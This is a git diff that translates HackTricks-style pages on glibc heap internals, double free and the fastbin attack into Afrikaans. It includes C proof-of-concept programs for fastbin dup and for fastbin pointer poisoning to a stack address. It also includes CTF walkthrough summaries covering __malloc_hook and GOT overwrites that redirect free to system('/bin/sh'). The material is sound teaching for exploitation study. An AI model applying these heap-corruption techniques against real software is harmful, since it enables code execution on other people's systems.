-Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
-It's also possible to see the length of the Top chunk on its chunk header:
-
+Waar gesien kan word dat die top chunk by adres `0xaaaaaaac1ae0` is. Dit is geen verrassing nie, omdat die laaste toegewysde chunk by `0xaaaaaaac12a0` was met ’n grootte van `0x410`, en `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
+Dit is ook moontlik om die lengte van die Top chunk in sy chunk header te sien:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
-
-### Last Remainder
+### Laaste Oorskot
+
+Wanneer malloc gebruik word en 'n chunk verdeel word (byvoorbeeld vanuit die unsorted bin of die top chunk), word die chunk wat uit die res van die verdeelde chunk geskep word, Last Remainder genoem, en sy pointer word in die `malloc_state` struct gestoor.[[7]](#references)
-When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
+## Allokasievloei
-## Allocation Flow
+Kyk na:
-Check out:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
-## Free Flow
+## Vrymaakvloei
+
+Kyk na:
-Check out:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
-## Heap Functions Security Checks
+## Sekuriteitskontroles vir Heap-funksies
+
+Kyk na die sekuriteitskontroles wat deur algemeen gebruikte funksies in heap uitgevoer word by:
-Check the security checks performed by heavily used functions in heap in:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
@@ -632,9 +595,11 @@ heap-memory-functions/heap-functions-security-checks.md
## References
-- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
-- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
-- [https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
-
+- [1] [glibc `malloc.c` – uitleg van die bins-skikking (bronkode)](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407)
+- [2] [Heap Exploitation Deel 1: Verstaan die glibc Heap-implementering - Azeria Labs](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
+- [3] [glibc `malloc.c` – `TCACHE_FILL_COUNT` (maksimum aantal chunks per tcache bin, bronkode)](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323)
+- [4] [glibc `malloc.c` – definisies van tcache chunk-groottereeks (bronkode)](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)
+- [5] [Heap Exploitation Deel 2: glibc Heap – free, bins, tcache - Azeria Labs](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+- [6] [Tcache - pwn/linux/glibc-heap/implementation - CTF Wiki](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
+- [7] [Kernfunksies - Duik in glibc heap - Heap Exploitation (Dhaval Kapil)](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md
index a30116d5862..f107c1da0e3 100644
--- a/src/binary-exploitation/libc-heap/double-free.md
+++ b/src/binary-exploitation/libc-heap/double-free.md
@@ -2,89 +2,87 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese inligting
-If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
+Om dieselfde allokasie meer as een keer vry te stel, is ongedefinieerde gedrag en kan die toestand van die allokeerder korrupteer. In glibc hang die presiese kontroles en uitbuitingspad af van die weergawe, bin, chunk-grootte en versagtings. Die klassieke **fastbin dup**-patroon is `free(a); free(b); free(a)`: ouer/plaaslike fastbin-kontroles verwerp ’n onmiddellike duplikaat aan die kop, terwyl die tussenliggende chunk kan veroorsaak dat die tweede `free(a)` daardie spesifieke kontrole slaag. Dit is nie ’n universele omseiling nie—tcache het afsonderlike duplikaat-opsporing, en moderne glibc gebruik ook safe-linking vir enkelgekoppelde lyste.[[1]](#references)[[4]](#references)
-Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
-
-Example:
+Wanneer jy nou vir nuwe geheue vra (met `malloc`), kan die allokeerder vir jou ’n **blok gee wat twee keer vrygestel is**. Dit kan daartoe lei dat twee verskillende pointers na dieselfde geheue-ligging wys. As ’n aanvaller een van daardie pointers beheer, kan hulle die inhoud van daardie geheue verander, wat sekuriteitskwessies kan veroorsaak of hulle selfs kan toelaat om kode uit te voer.[[1]](#references)
+Voorbeeld:
```c
#include
#include
int main() {
- // Allocate memory for three chunks
- char *a = (char *)malloc(10);
- char *b = (char *)malloc(10);
- char *c = (char *)malloc(10);
- char *d = (char *)malloc(10);
- char *e = (char *)malloc(10);
- char *f = (char *)malloc(10);
- char *g = (char *)malloc(10);
- char *h = (char *)malloc(10);
- char *i = (char *)malloc(10);
-
- // Print initial memory addresses
- printf("Initial allocations:\n");
- printf("a: %p\n", (void *)a);
- printf("b: %p\n", (void *)b);
- printf("c: %p\n", (void *)c);
- printf("d: %p\n", (void *)d);
- printf("e: %p\n", (void *)e);
- printf("f: %p\n", (void *)f);
- printf("g: %p\n", (void *)g);
- printf("h: %p\n", (void *)h);
- printf("i: %p\n", (void *)i);
-
- // Fill tcache
- free(a);
- free(b);
- free(c);
- free(d);
- free(e);
- free(f);
- free(g);
-
- // Introduce double-free vulnerability in fast bin
- free(h);
- free(i);
- free(h);
-
-
- // Reallocate memory and print the addresses
- char *a1 = (char *)malloc(10);
- char *b1 = (char *)malloc(10);
- char *c1 = (char *)malloc(10);
- char *d1 = (char *)malloc(10);
- char *e1 = (char *)malloc(10);
- char *f1 = (char *)malloc(10);
- char *g1 = (char *)malloc(10);
- char *h1 = (char *)malloc(10);
- char *i1 = (char *)malloc(10);
- char *i2 = (char *)malloc(10);
-
- // Print initial memory addresses
- printf("After reallocations:\n");
- printf("a1: %p\n", (void *)a1);
- printf("b1: %p\n", (void *)b1);
- printf("c1: %p\n", (void *)c1);
- printf("d1: %p\n", (void *)d1);
- printf("e1: %p\n", (void *)e1);
- printf("f1: %p\n", (void *)f1);
- printf("g1: %p\n", (void *)g1);
- printf("h1: %p\n", (void *)h1);
- printf("i1: %p\n", (void *)i1);
- printf("i2: %p\n", (void *)i2);
-
- return 0;
+// Allocate memory for three chunks
+char *a = (char *)malloc(10);
+char *b = (char *)malloc(10);
+char *c = (char *)malloc(10);
+char *d = (char *)malloc(10);
+char *e = (char *)malloc(10);
+char *f = (char *)malloc(10);
+char *g = (char *)malloc(10);
+char *h = (char *)malloc(10);
+char *i = (char *)malloc(10);
+
+// Print initial memory addresses
+printf("Initial allocations:\n");
+printf("a: %p\n", (void *)a);
+printf("b: %p\n", (void *)b);
+printf("c: %p\n", (void *)c);
+printf("d: %p\n", (void *)d);
+printf("e: %p\n", (void *)e);
+printf("f: %p\n", (void *)f);
+printf("g: %p\n", (void *)g);
+printf("h: %p\n", (void *)h);
+printf("i: %p\n", (void *)i);
+
+// Fill tcache
+free(a);
+free(b);
+free(c);
+free(d);
+free(e);
+free(f);
+free(g);
+
+// Introduce double-free vulnerability in fast bin
+free(h);
+free(i);
+free(h);
+
+
+// Reallocate memory and print the addresses
+char *a1 = (char *)malloc(10);
+char *b1 = (char *)malloc(10);
+char *c1 = (char *)malloc(10);
+char *d1 = (char *)malloc(10);
+char *e1 = (char *)malloc(10);
+char *f1 = (char *)malloc(10);
+char *g1 = (char *)malloc(10);
+char *h1 = (char *)malloc(10);
+char *i1 = (char *)malloc(10);
+char *i2 = (char *)malloc(10);
+
+// Print initial memory addresses
+printf("After reallocations:\n");
+printf("a1: %p\n", (void *)a1);
+printf("b1: %p\n", (void *)b1);
+printf("c1: %p\n", (void *)c1);
+printf("d1: %p\n", (void *)d1);
+printf("e1: %p\n", (void *)e1);
+printf("f1: %p\n", (void *)f1);
+printf("g1: %p\n", (void *)g1);
+printf("h1: %p\n", (void *)h1);
+printf("i1: %p\n", (void *)i1);
+printf("i2: %p\n", (void *)i2);
+
+return 0;
}
```
+In hierdie voorbeeld vul die eerste sewe frees die relevante tcache bin op glibc-weergawes/konfigurasies waar die telling sewe is. Die kode **free chunk `h`, dan chunk `i`, en dan `h` weer**, wat die klassieke fastbin-dup-lys skep. Nadat sewe allocations tcache leegmaak, loop nog drie allocations deur `h → i → h`, sodat twee teruggekeerde pointers na dieselfde adres wys. Verskille in compiler, allocator en glibc-weergawe kan die uitvoering stop of ander uitvoer lewer; compile sonder optimalisering vir ’n weggooibare laboratorium en moenie die voorbeeld as portable gedrag beskou nie.[[4]](#references)
-In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
-
-Executing it, note how **`i1` and `i2` got the same address**:
+Wanneer dit uitgevoer word, let op hoe **`i1` en `i2` dieselfde adres gekry het**:
Initial allocations:
a: 0xaaab0f0c22a0
@@ -109,24 +107,26 @@ h1: 0xaaab0f0c2380
i2: 0xaaab0f0c23a0
-## Examples
-
-- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
-- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- - We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- - We free `B`
- - We free `A` and allocate again to use the null-byte overflow
- - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
+## Voorbeelde
+
+- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)[[2]](#references)
+- Ons kan slegs Fast-Bin-grootte chunks allocate, behalwe vir grootte `0x70`, wat die gewone `__malloc_hook` overwrite verhoed.
+- In plaas daarvan gebruik ons PIE-adresse wat met `0x56` begin as ’n teiken vir Fast Bin dup (1/2 kans).
+- Een plek waar PIE-adresse gestoor word, is in `main_arena`, wat binne Glibc en naby `__malloc_hook` is.
+- Ons teiken ’n spesifieke offset van `main_arena` om ’n chunk daar te allocate en gaan voort om chunks te allocate totdat ons `__malloc_hook` bereik om code execution te verkry.
+- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)[[3]](#references)
+- Deur Tcache bins en ’n null-byte overflow te gebruik, kan ons ’n double-free-situasie bereik:
+- Ons allocate drie chunks van grootte `0x110` (`A`, `B`, `C`)
+- Ons free `B`
+- Ons free `A` en allocate weer om die null-byte overflow te gebruik
+- Nou is `B` se size field `0x100`, in plaas van `0x111`, sodat ons dit weer kan free
+- Ons het een Tcache-bin van grootte `0x110` en een van grootte `0x100` wat na dieselfde adres wys. Ons het dus ’n double free.
+- Ons benut die double free deur [Tcache poisoning](tcache-bin-attack.md)
## References
-- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
-
+- [1] [Double Free - Heap-uitbuiting](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
+- [2] [Dragon Army. Hack The Box](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
+- [3] [zero_to_hero. PicoCTF](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
+- [4] [how2heap - glibc heap-uitbuitingstegnieke en weergawe-spesifieke voorbeelde](https://github.com/shellphish/how2heap)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md
index c36c675deef..e5b0badcb2f 100644
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
+
+Vir meer inligting oor wat 'n fast bin is, besoek hierdie bladsy:
-For more information about what is a fast bin check this page:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
-
-As summary:
+Omdat die fast bin 'n singly linked list is, is daar baie minder beskerming as in ander bins, en is dit genoeg om bloot **'n adres in 'n freed fast bin** chunk **te wysig** om later 'n chunk by enige memory address te kan **alloceer**.
+Samegevat:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@@ -29,9 +29,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the which could be abuse to overwrite arbitrary content inside of it
```
-
-You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
-
+Jy kan ’n volledige voorbeeld in goed verduidelikte code vind by [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html)[[1]](#references) :
```c
#include
#include
@@ -39,115 +37,124 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
- puts("Today we will be discussing a fastbin attack.");
- puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
- puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
- puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
- puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
- puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
- puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
- puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
- puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
+puts("Today we will be discussing a fastbin attack.");
+puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
+puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
+puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
+puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
+puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
+puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
+puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
+puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
- puts("Let's start, we will allocate three chunks of size 0x30\n");
- unsigned long *ptr0, *ptr1, *ptr2;
+puts("Let's start, we will allocate three chunks of size 0x30\n");
+unsigned long *ptr0, *ptr1, *ptr2;
- ptr0 = malloc(0x30);
- ptr1 = malloc(0x30);
- ptr2 = malloc(0x30);
+ptr0 = malloc(0x30);
+ptr1 = malloc(0x30);
+ptr2 = malloc(0x30);
- printf("Chunk 0: %p\n", ptr0);
- printf("Chunk 1: %p\n", ptr1);
- printf("Chunk 2: %p\n\n", ptr2);
+printf("Chunk 0: %p\n", ptr0);
+printf("Chunk 1: %p\n", ptr1);
+printf("Chunk 2: %p\n\n", ptr2);
- printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
+printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
- int stackVar = 0x55;
+int stackVar = 0x55;
- printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
+printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
- printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
+printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
- char *data0 = "00000000";
- char *data1 = "11111111";
- char *data2 = "22222222";
+char *data0 = "00000000";
+char *data1 = "11111111";
+char *data2 = "22222222";
- memcpy(ptr0, data0, 0x8);
- memcpy(ptr1, data1, 0x8);
- memcpy(ptr2, data2, 0x8);
+memcpy(ptr0, data0, 0x8);
+memcpy(ptr1, data1, 0x8);
+memcpy(ptr2, data2, 0x8);
- printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
+printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
- printf("Chunk 0: %s\n", (char *)ptr0);
- printf("Chunk 1: %s\n", (char *)ptr1);
- printf("Chunk 2: %s\n\n", (char *)ptr2);
+printf("Chunk 0: %s\n", (char *)ptr0);
+printf("Chunk 1: %s\n", (char *)ptr1);
+printf("Chunk 2: %s\n\n", (char *)ptr2);
- printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
+printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
- free(ptr0);
- free(ptr1);
- free(ptr2);
+free(ptr0);
+free(ptr1);
+free(ptr2);
- printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
- printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
- printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
+printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
+printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
+printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
- printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
+printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
- printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
- printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
+printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
+printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
- *ptr1 = (unsigned long)((char *)&stackVar);
+*ptr1 = (unsigned long)((char *)&stackVar);
- printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
+printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
- printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
- printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
+printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
+printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
- unsigned long *ptr3, *ptr4, *ptr5;
+unsigned long *ptr3, *ptr4, *ptr5;
- ptr3 = malloc(0x30);
- ptr4 = malloc(0x30);
- ptr5 = malloc(0x30);
+ptr3 = malloc(0x30);
+ptr4 = malloc(0x30);
+ptr5 = malloc(0x30);
- printf("Chunk 3: %p\n", ptr3);
- printf("Chunk 4: %p\n", ptr4);
- printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
+printf("Chunk 3: %p\n", ptr3);
+printf("Chunk 4: %p\n", ptr4);
+printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
- printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
+printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
-
> [!CAUTION]
-> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
-
-## Examples
-
-- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
- Finally a **one gadget** was written in there.
-- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
-- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
-- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- - You can find a Fast Bin attack abused through an unsorted bin attack:
- - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
-- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- - We can only allocate chunks of size greater than `0x100`.
- - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
+> As dit moontlik is om die waarde van die globale veranderlike **`global_max_fast`** met 'n groot getal te oorskryf, laat dit toe dat fast bin chunks van groter groottes gegenereer word, wat dit moontlik maak om fast bin attacks uit te voer in scenario's waar dit voorheen nie moontlik was nie. Hierdie situasie is nuttig in die konteks van [large bin attack](large-bin-attack.md) en [unsorted bin attack](unsorted-bin-attack.md)
+
+## Voorbeelde
+
+- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**[[2]](#references)
+- Dit is moontlik om chunks te allokeer, hulle te free, hulle inhoud te lees en hulle te vul (met 'n overflow vulnerability).
+- **Consolidate chunk for infoleak**: Die tegniek behels basies dat die overflow misbruik word om 'n fake `prev_size` te skep, sodat een vorige chunk binne 'n groter een geplaas word. Wanneer die groter een wat 'n ander chunk bevat geallokeer word, is dit moontlik om sy data te druk en 'n address na libc (`main_arena+88`) te leak.
+- **Overwrite malloc hook**: Hiervoor, en deur die vorige overlapping-situasie te misbruik, was dit moontlik om 2 chunks te hê wat na dieselfde memory gewys het. Deur hulle albei te free (en 'n ander chunk tussenin te free om protections te vermy), was dit moontlik om dieselfde chunk 2 keer in die fast bin te hê. Daarna was dit moontlik om dit weer te allokeer, die address na die volgende chunk te oorskryf sodat dit 'n bietjie voor `__malloc_hook` wys (sodat dit na 'n integer wys wat malloc as 'n free size beskou - nog 'n bypass), dit weer te allokeer en dan nog 'n chunk te allokeer wat 'n address na malloc hooks sal ontvang.\
+Uiteindelik is 'n **one gadget** daar geskryf.
+- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**[[3]](#references)
+- Daar is 'n heap overflow en use after free en double free, omdat dit moontlik is om die pointers te hergebruik en weer te free wanneer 'n chunk gefree word.
+- **Libc info leak**: Free eenvoudig sommige chunks en hulle sal 'n pointer na 'n deel van die main arena se location kry. Omdat jy freed pointers kan hergebruik, lees eenvoudig hierdie address.
+- **Fast bin attack**: Al die pointers na die allocations word binne 'n array gestoor, dus kan ons 'n paar fast bin chunks free en in die laaste een die address oorskryf sodat dit 'n bietjie voor hierdie array van pointers wys. Allokeer dan 'n paar chunks met dieselfde size en ons kry eers die legit een en daarna die fake een wat die array van pointers bevat. Ons kan nou hierdie allocation pointers oorskryf om die GOT address van `free` na `system` te laat wys en dan `"/bin/sh"` in chunk 1 te skryf om vervolgens `free(chunk1)` te call, wat in plaas daarvan `system("/bin/sh")` sal uitvoer.
+- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)[[4]](#references)
+- Nog 'n voorbeeld van die misbruik van 'n een-byte overflow om chunks in die unsorted bin te consolidate en 'n libc infoleak te verkry, en daarna 'n fast bin attack uit te voer om malloc hook met 'n one gadget address te oorskryf.
+- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)[[5]](#references)
+- Nadat 'n infoleak verkry is deur die unsorted bin met 'n UAF te misbruik om 'n libc address en 'n PIE address te leak, het die exploit van hierdie CTF 'n fast bin attack gebruik om 'n chunk op 'n plek te allokeer waar die pointers na beheerde chunks geleë was. Dit was dus moontlik om sekere pointers te oorskryf en 'n one gadget in die GOT te skryf.
+- Jy kan 'n Fast Bin attack vind wat deur 'n unsorted bin attack misbruik word:
+- Let daarop dat dit algemeen is om, voordat fast bin attacks uitgevoer word, die free-lists te misbruik om libc/heap addresses te leak (wanneer nodig).
+- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)[[6]](#references)
+- Ons kan slegs chunks met 'n size groter as `0x100` allokeer.
+- Oorskryf `global_max_fast` deur 'n Unsorted Bin attack te gebruik (werk 1/16 keer weens ASLR, omdat ons 12 bits moet wysig, maar ons 16 bits moet wysig).
